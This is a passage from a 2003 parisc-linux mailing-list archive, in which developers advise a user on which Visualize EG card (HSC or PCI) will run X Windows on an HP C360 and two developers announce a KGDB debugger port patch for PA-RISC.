you for your assistance.&nbsp; Thank you Grant, too!</span></font> </p>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D2 =
color=3Dnavy
face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;color:navy'>You
already tested this card (Vis EG HSC) on your HP-Visualize C360 machine. =
The
X-Windows system should be started in this case.&nbsp;</span></font> =
</p>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D2 =
color=3Dnavy
face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;color:navy'>Can you
say me please, where can I find/order and buy this card?</span></font> =
</p>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D2 =
color=3Dnavy
face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;color:navy'>Thank
you very much,</span></font> </p>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D2 =
color=3Dnavy
face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;color:navy'>Kind
regards, Zlatan</span></font> </p>

<p class=3DMsoNormal style=3D'margin-left:72.0pt'><font size=3D2 =
face=3DTahoma><span
style=3D'font-size:10.0pt;font-family:Tahoma'>-----Original Message----- =
<br>
<b><span style=3D'font-weight:bold'>From:</span></b> Derek Engelhaupt =
[<a
href=3D"mailto:derekengelhaupt@rocketmail.com">mailto:derekengelhaupt@roc=
ketmail.com</a>]
<br>
<b><span style=3D'font-weight:bold'>Sent:</span></b> Mittwoch, 18. Juni =
2003 </span></font><font size=3D2 face=3DTahoma><span =
style=3D'font-size:10.0pt;font-family:Tahoma'>18:00</span></font><font
size=3D2 face=3DTahoma><span =
style=3D'font-size:10.0pt;font-family:Tahoma'> <br>
<b><span style=3D'font-weight:bold'>To:</span></b> Grant Grundler; Jukic =
Zlatan <br>
<b><span style=3D'font-weight:bold'>Cc:</span></b>
parisc-linux@lists.parisc-linux.org <br>
<b><span style=3D'font-weight:bold'>Subject:</span></b> Re: =
[parisc-linux] Re:
Visualize EG card on HP PARISC C360</span></font> </p>

<div style=3D'margin-left:36.0pt'>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D3
face=3D"Times New Roman"><span style=3D'font-size:12.0pt'>Yes, there is =
an HSC EG
card.&nbsp; Used it in my C360 before I sold it.&nbsp; The PCI version =
of the
card has more memory on it though.</span></font></p>

</div>

<div style=3D'margin-left:36.0pt'>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D3
face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt'>derek</span></font></p>

</div>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><b><i><font size=3D3
face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;font-weight:bold;
font-style:italic'>Grant Grundler =
&lt;grundler@parisc-linux.org&gt;</span></font></i></b>
wrote: </p>

<div style=3D'margin-left:36.0pt'>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D3
face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt'>On&nbsp;</span></font>Tue, Jun 17, 2003 at =
04:17:02PM +0200, Zlatan Jukic wrote:</p>

</div>

<p style=3D'margin-left:36.0pt'><font size=3D3 face=3D"Times New =
Roman"><span
style=3D'font-size:12.0pt'><br>
&gt; I could not start unfortunately the X-Windows system, because it is =
not <br>
&gt; supported by Fx-4 video card.?! </span></font></p>

<p style=3D'margin-left:36.0pt'><font size=3D3 face=3D"Times New =
Roman"><span
style=3D'font-size:12.0pt'>correct </span></font></p>

<p style=3D'margin-left:36.0pt'><font size=3D3 face=3D"Times New =
Roman"><span
style=3D'font-size:12.0pt'>&gt; My question is here: Must I insert =
another card
(and which??), in order to <br>
&gt; start X-Windows-system? </span></font></p>

<p style=3D'margin-left:36.0pt'><font size=3D3 face=3D"Times New =
Roman"><span
style=3D'font-size:12.0pt'>&gt; According to Debian HPPA, the Visualize =
EG should
correct to function. </span></font></p>

<p style=3D'margin-left:36.0pt'><font size=3D3 face=3D"Times New =
Roman"><span
style=3D'font-size:12.0pt'>yes. *PCI* version of the card. <br>
Vis-EG HSC card might also work. </span></font></p>

<p style=3D'margin-left:36.0pt'><font size=3D3 face=3D"Times New =
Roman"><span
style=3D'font-size:12.0pt'>&gt; This card is a 24-bit-video-card, which =
is
recognized in the best way under <br>
&gt; Linux as &quot;Coral&quot; with HP 715-64, </span></font></p>

<p style=3D'margin-left:36.0pt'><font size=3D3 face=3D"Times New =
Roman"><span
style=3D'font-size:12.0pt'>Is that really a Vis-EG HSC card? <br>
Can you post &quot;dmesg&quot; output where STI describes the card? =
</span></font></p>

<p style=3D'margin-left:36.0pt'><font size=3D3 face=3D"Times New =
Roman"><span
style=3D'font-size:12.0pt'>grant <br>
_______________________________________________ <br>
parisc-linux mailing list <br>
parisc-linux@lists.parisc-linux.org <br>
<a =
href=3D"http://lists.parisc-linux.org/mailman/listinfo/parisc-linux">http=
://lists.parisc-linux.org/mailman/listinfo/parisc-linux</a></span></font>=
</p>

<div style=3D'margin-left:36.0pt'>

<div class=3DMsoNormal align=3Dcenter =
style=3D'margin-left:36.0pt;text-align:center'><font
size=3D3 face=3D"Times New Roman"><span style=3D'font-size:12.0pt'>

<hr size=3D1 width=3D"100%" align=3Dcenter>

</span></font></div>

</div>

<div style=3D'margin-left:36.0pt'>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D3
face=3D"Times New Roman"><span style=3D'font-size:12.0pt'>Do you =
Yahoo!?</span></font></p>

</div>

<p style=3D'margin-left:36.0pt'><font size=3D3 face=3D"Times New =
Roman"><span
style=3D'font-size:12.0pt'><br>
<a
href=3D"http://pa.yahoo.com/*http:/rd.yahoo.com/evt=3D1207/*http:/promo.y=
ahoo.com/sbc/">SBC
Yahoo! DSL</a> - Now only $29.95 per month!</span></font></p>

<div class=3DMsoNormal align=3Dcenter =
style=3D'margin-left:36.0pt;text-align:center'><font
size=3D3 face=3D"Times New Roman"><span style=3D'font-size:12.0pt'>

<hr size=3D1 width=3D"100%" align=3Dcenter>

</span></font></div>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D3
face=3D"Times New Roman"><span style=3D'font-size:12.0pt'>Do you Yahoo!? =
<br>
<a
href=3D"http://pa.yahoo.com/*http:/rd.yahoo.com/evt=3D1207/*http:/promo.y=
ahoo.com/sbc/">SBC
Yahoo! DSL</a> - Now only $29.95 per month!</span></font></p>

</blockquote>

</div>

</body>

</html>

------=_NextPart_000_0000_01C3371F.70A91970--



From - Thu Nov 08 21:28:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Visualize EG card on HP PARISC C360
Date: Fri, 20 Jun 2003 12:27:51 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20030620112751.GN24357@parcelfarce.linux.theplanet.co.uk>
References: <1EB1A4E066D0D411BD330008C79F06AE0251B806@yang.tvlbg.ac.at> <1EB1A4E066D0D411BD330008C79F06AE022EC553@yang.tvlbg.ac.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622528 26890 80.91.229.3 (22 Nov 2014 02:15:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:28 +0000 (UTC)
Cc: 'Jesse Dougherty' <jesse@cypress-tech.com>,
	'Derek Engelhaupt' <derekengelhaupt@rocketmail.com>,
	grundler@parisc-linux.org, parisc-linux@lists.parisc-linux.org
To: Zlatan Jukic <zlatan.jukic@fh-vorarlberg.ac.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 20 05:27:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id C4B09482D
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Jun 2003 05:27:56 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19TK3b-0008S0-LB; Fri, 20 Jun 2003 12:27:51 +0100
Content-Disposition: inline
In-Reply-To: <1EB1A4E066D0D411BD330008C79F06AE022EC553@yang.tvlbg.ac.at>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18711

On Fri, Jun 20, 2003 at 11:30:11AM +0200, Zlatan Jukic wrote:
> I need, after the suggestion of Grant and Derek a "Visualize EG HSC *PCI*
> card".  

Nono.  You need _either_ a VisEG HSC card _or_ a VisEG PCI card.

> What means the abbreviation "HSC" ?

Highspeed System Connect (iirc).  It's an HP proprietary bus.  You either
want an HSC card or a PCI card.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Thibaut_VAR=C8NE?= <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] KGDB Port first patch release
Date: Fri, 20 Jun 2003 13:43:05 +0200
Lines: 45
Approved: news@gmane.org
Message-ID: <5B78941A-A314-11D7-A94E-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v552)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622528 26897 80.91.229.3 (22 Nov 2014 02:15:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:28 +0000 (UTC)
Cc: Laurent CANET <canetl@esiee.fr>,
	Thierry SIMONNET <simonnet@esiee.fr>
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 20 05:52:39 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id E2833482D
	for <parisc-linux@parisc-linux.org>; Fri, 20 Jun 2003 05:52:38 -0600 (MDT)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id 7C0CC49EDA; Fri, 20 Jun 2003 13:52:30 +0200 (CEST)
Original-Received: from esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id C87C449EFD; Fri, 20 Jun 2003 13:43:06 +0200 (CEST)
X-Mailer: Apple Mail (2.552)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18712

Hi fellow pa-ckers!

As some of you may know, Laurent Canet and myself were working on 
porting KGDB to the parisc architecture.

Well, the good news is that we did it!
The bad new is that it doesn't work for every possible configuration ;)

As you can see on the webpage http://pateam.esiee.fr/kgdb.html we 
currently only support 32bit capable GSC boxes featuring Lasi/Dino 
serial port (which is quite a lot of machines already ;)

TBH, we have currently only tested it on B132 using various kernel 
configuration.

It's worth mentioning SMP isn't supported atm (some locks to be fixed) 
as well as step-by-step execution (we are working on it too). It's 
sorta a "beta" version of the patch, but it works pretty well as far as 
we could check.

We lack material to test our stuff, so any feedback would be greatly 
appreciated!

Next steps planned are:
- fix SMP
- fix step-by-step
- make it work on SuperIO boxes
- port to 2.5

The patch also adds a "Compile kernel with frame pointer option" and 
takes care of removing lifimage (created by "make palo") on "make 
clean".
Maybe we want one or both changes to be committed upstream, any thought 
?

HTH,


Thibaut VARENE
Laurent Canet
The PA/Linux ESIEE Team
http://pateam.esiee.fr/




From - Thu Nov 08 21:28:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] KGDB Port first patch release
Date: Fri, 20 Jun 2003 13:14:15 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20030620121415.GQ24357@parcelfarce.linux.theplanet.co.uk>
References: <5B78941A-A314-11D7-A94E-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622528 26902 80.91.229.3 (22 Nov 2014 02:15:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:28 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org, Laurent CANET <canetl@esiee.fr>,
	Thierry SIMONNET <simonnet@esiee.fr>
To: Thibaut =?iso-8859-1?Q?VAR=C8NE?= <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 20 06:14:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4F6AA482D
	for <parisc-linux@parisc-linux.org>; Fri, 20 Jun 2003 06:14:16 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19TKmV-0000Ze-KE; Fri, 20 Jun 2003 13:14:15 +0100
Content-Disposition: inline
In-Reply-To: <5B78941A-A314-11D7-A94E-0030656F07A2@esiee.fr>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18713

On Fri, Jun 20, 2003 at 01:43:05PM +0200, Thibaut VARNE wrote:
> The patch also adds a "Compile kernel with frame pointer option" and 
> takes care of removing lifimage (created by "make palo") on "make 
> clean".
> Maybe we want one or both changes to be committed upstream, any thought 
> ?

Those two sound generally useful; send patches!

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Thibaut_VAR=C8NE?= <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] KGDB Port first patch release
Date: Fri, 20 Jun 2003 14:31:52 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <2C12ACFD-A31B-11D7-A94E-0030656F07A2@esiee.fr>
References: <20030620121415.GQ24357@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v552)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622529 26905 80.91.229.3 (22 Nov 2014 02:15:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:29 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 20 06:31:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 58B7F482D
	for <parisc-linux@parisc-linux.org>; Fri, 20 Jun 2003 06:31:55 -0600 (MDT)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id 2F67449EC9; Fri, 20 Jun 2003 14:31:54 +0200 (CEST)
Original-Received: from esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id 6790549E58; Fri, 20 Jun 2003 14:31:53 +0200 (CEST)
In-Reply-To: <20030620121415.GQ24357@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Apple Mail (2.552)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18714

Le vendredi, 20 jun 2003, =E0 14:14 Europe/Paris, Matthew Wilcox a =E9crit=
 :

> On Fri, Jun 20, 2003 at 01:43:05PM +0200, Thibaut VAR=C8NE wrote:
>> The patch also adds a "Compile kernel with frame pointer option" and
>> takes care of removing lifimage (created by "make palo") on "make
>> clean".
>> Maybe we want one or both changes to be committed upstream, any=20
>> thought
>> ?
>
> Those two sound generally useful; send patches!
>
committed




From - Thu Nov 08 21:28:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Zlatan Jukic" <zlatan.jukic@fh-vorarlberg.ac.at>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Re: Visualize EG card on HP PARISC C360
Date: Fri, 20 Jun 2003 14:39:56 +0200
Organization: FH-Vorarlberg
Lines: 40
Approved: news@gmane.org
Message-ID: <1EB1A4E066D0D411BD330008C79F06AE022EC554@yang.tvlbg.ac.at>
References: <1EB1A4E066D0D411BD330008C79F06AE0251B8DD@yang.tvlbg.ac.at>
Reply-To: <zlatan.jukic@fh-vorarlberg.ac.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622529 26907 80.91.229.3 (22 Nov 2014 02:15:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:29 +0000 (UTC)
Cc: "'Jesse Dougherty'" <jesse@cypress-tech.com>,
	"'Derek Engelhaupt'" <derekengelhaupt@rocketmail.com>,
	<grundler@parisc-linux.org>, <parisc-linux@lists.parisc-linux.org>
To: "'Matthew Wilcox'" <willy@debian.org>,
	"Jukic Zlatan" <zlatan.jukic@fh-vorarlberg.ac.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 20 06:44:22 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gnu.uclv.net (gnu.uclv.net [193.170.2.126])
	by dsl2.external.hp.com (Postfix) with ESMTP id E7C2D482D
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Jun 2003 06:44:21 -0600 (MDT)
Original-Received: from allian.uclv.net (allian.uclv.net [193.170.2.117])
	by gnu.uclv.net (8.12.8/8.12.8) with ESMTP id h5KCi24W057595
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Fri, 20 Jun 2003 14:44:03 +0200 (CEST)
	(envelope-from zlatan.jukic@fh-vorarlberg.ac.at)
Original-Received: from ZJPC (zj-pc.dh.uclv.net [193.170.103.157])
	(authenticated bits=0)
	by allian.uclv.net (8.12.8/8.12.8) with ESMTP id h5KChxMr089245;
	Fri, 20 Jun 2003 14:44:00 +0200 (CEST)
	(envelope-from zlatan.jukic@fh-vorarlberg.ac.at)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4510
In-Reply-To: <1EB1A4E066D0D411BD330008C79F06AE0251B8DD@yang.tvlbg.ac.at>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18715

Hello Willy & Matthew,

Thanks.  It's OK! Derek has said that PCI version has more memory.

What could you recommend me?  I need a safe start of the X Windows-system!

Thanks for your understanding,
and for all your assistance.

Kind regards, Zlatan


-----Original Message-----
From: willy@www.linux.org.uk [mailto:willy@www.linux.org.uk] On Behalf Of
Matthew Wilcox
Sent: Freitag, 20. Juni 2003 13:28
To: Jukic Zlatan
Cc: 'Jesse Dougherty'; 'Derek Engelhaupt'; grundler@parisc-linux.org;
parisc-linux@lists.parisc-linux.org
Subject: Re: [parisc-linux] Re: Visualize EG card on HP PARISC C360

On Fri, Jun 20, 2003 at 11:30:11AM +0200, Zlatan Jukic wrote:
> I need, after the suggestion of Grant and Derek a "Visualize EG HSC *PCI*
> card".  

Nono.  You need _either_ a VisEG HSC card _or_ a VisEG PCI card.

> What means the abbreviation "HSC" ?

Highspeed System Connect (iirc).  It's an HP proprietary bus.  You either
want an HSC card or a PCI card.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead
bodies.
Do you think I want to have an academic debate on this subject?" -- Robert
Fisk



From - Thu Nov 08 21:28:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Visualize EG card on HP PARISC C360
Date: Fri, 20 Jun 2003 11:07:18 -0600
Lines: 9
Approved: news@gmane.org
Message-ID: <20030620170718.GB29124@dsl2.external.hp.com>
References: <1EB1A4E066D0D411BD330008C79F06AE0251B8DD@yang.tvlbg.ac.at> <1EB1A4E066D0D411BD330008C79F06AE022EC554@yang.tvlbg.ac.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622529 26911 80.91.229.3 (22 Nov 2014 02:15:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Zlatan Jukic <zlatan.jukic@fh-vorarlberg.ac.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 20 11:07:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 9709F482D; Fri, 20 Jun 2003 11:07:18 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1EB1A4E066D0D411BD330008C79F06AE022EC554@yang.tvlbg.ac.at>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18716

On Fri, Jun 20, 2003 at 02:39:56PM +0200, Zlatan Jukic wrote:
> What could you recommend me?  I need a safe start of the X Windows-system!

Get the Visual-EG PCI card. It definitely works.
Derek posted the part numbers before.
See http://lists.parisc-linux.org/ for the mail archive.

grant


From - Thu Nov 08 21:28:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Wierd IIR value in expect crash
Date: Fri, 20 Jun 2003 21:32:51 -0400 (EDT)
Lines: 54
Approved: news@gmane.org
Message-ID: <200306210132.h5L1WpSr001950@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622530 26915 80.91.229.3 (22 Nov 2014 02:15:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:30 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 20 19:32:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5B6A5482D
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Jun 2003 19:32:53 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h5L1WqgL001952
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Jun 2003 21:32:52 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h5L1WpSr001950
	for parisc-linux@lists.parisc-linux.org; Fri, 20 Jun 2003 21:32:51 -0400 (EDT)
